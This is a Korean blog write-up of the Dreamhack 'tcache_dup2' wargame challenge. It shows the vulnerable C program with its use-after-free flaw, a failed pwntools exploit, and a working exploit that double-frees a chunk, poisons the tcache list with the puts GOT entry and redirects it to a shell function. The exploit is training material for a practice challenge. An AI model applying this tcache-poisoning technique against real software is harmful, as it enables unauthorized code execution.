보안/Wargame

[System Hacking] tcache_dup2

kykyky 2025. 3. 10. 09:53

소스코드 분석 & 보호기법 확인

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
    size_t size;

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    ptr[idx] = malloc(size);

    if (!ptr[idx])
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size-1);
}

void modify_heap() {
    size_t size, idx;

    printf("idx: ");
    scanf("%ld", &idx);

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    if (size > 0x10)
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size);
}

void delete_heap() {
    size_t idx;

    printf("idx: ");
    scanf("%ld", &idx);
    if (idx >= 7)
        exit(0);

    if (!ptr[idx])
        exit(0);

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}
int main() {
    int idx;
    int i = 0;

    initialize();

    while (1) {
        printf("1. Create heap\n");
        printf("2. Modify heap\n");
        printf("3. Delete heap\n");
        printf("> ");

        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create_heap(i);
                i++;
                break;
            case 2:
                modify_heap();
                break;
            case 3:
                delete_heap();
                break;
            default:
                break;
        }
    }
}

heap chunk를 free할 때 pointer값은 초기화하지 않아 취약하다.

Exploit (실패)

from pwn import *

p = remote('host3.dreamhack.games', 16710)
#p = process('./tcache_dup2')
vul_elf = ELF('./tcache_dup2')

def create_heap(size,data):
    p.sendlineafter(b'> ',b'1')
    p.sendlineafter(b': ',size)
    p.sendafter(b': ',data)

def modify_heap(idx,size,data):
    p.sendlineafter(b'> ',b'2')
    p.sendlineafter(b': ',idx)
    p.sendlineafter(b': ',size)
    p.sendafter(b': ',data)

def delete_heap(idx):
    p.sendlineafter(b'> ',b'3')
    p.sendlineafter(b': ',idx)


create_heap(b'32',b'a')
delete_heap(b'0')
# => free list: chunkA





puts_GOT = vul_elf.got['puts']
modify_heap(b'0',b'16',p64(puts_GOT))
# => free list: chunkA -> puts_GOT

create_heap(b'32',b'a')
# => free list: puts_GOT

get_shell = vul_elf.symbols['get_shell']
create_heap(b'32',p64(get_shell))

p.interactive()

 

문제점

modify_heap(b'0', b'16', p64(puts_GOT)) 을 통해 chunkA -> fd = puts_GOT으로 바꾸더라도,

tcache는 노드 1개인 상태임. (puts_GOT은 실제 두 번째 노드인 게 아니라 가짜 값일 뿐이게 됨.)


create_heap(b'32', b'a') 을 호출하면, tcache top(= chunkA)이 pop되면서 더 이상 tcache에 들어 있는 chunk가 없다.

 

해결책

free를 두 번 함으로써 노드가 실제로 두개가 있는 상태에서,

두번째 노드의 주소를 puts_GOT으로 바꿔야 한다.

 

Exploit (성공)

from pwn import *

p = remote('host3.dreamhack.games', 16710)
#p = process('./tcache_dup2')
vul_elf = ELF('./tcache_dup2')

def create_heap(size,data):
    p.sendlineafter(b'> ',b'1')
    p.sendlineafter(b': ',size)
    p.sendafter(b': ',data)

def modify_heap(idx,size,data):
    p.sendlineafter(b'> ',b'2')
    p.sendlineafter(b': ',idx)
    p.sendlineafter(b': ',size)
    p.sendafter(b': ',data)

def delete_heap(idx):
    p.sendlineafter(b'> ',b'3')
    p.sendlineafter(b': ',idx)


create_heap(b'32',b'a')
delete_heap(b'0')
# => free list: chunkA

modify_heap(b'0',b'16',b'a'*9)
delete_heap(b'0')
# => free list: chunkA -> chunkA

puts_GOT = vul_elf.got['puts']
modify_heap(b'0',b'8',p64(puts_GOT))
# => free list: chunkA -> puts_GOT

create_heap(b'32',b'a')
# => free list: puts_GOT

get_shell = vul_elf.symbols['get_shell']
create_heap(b'32',p64(get_shell))

p.interactive()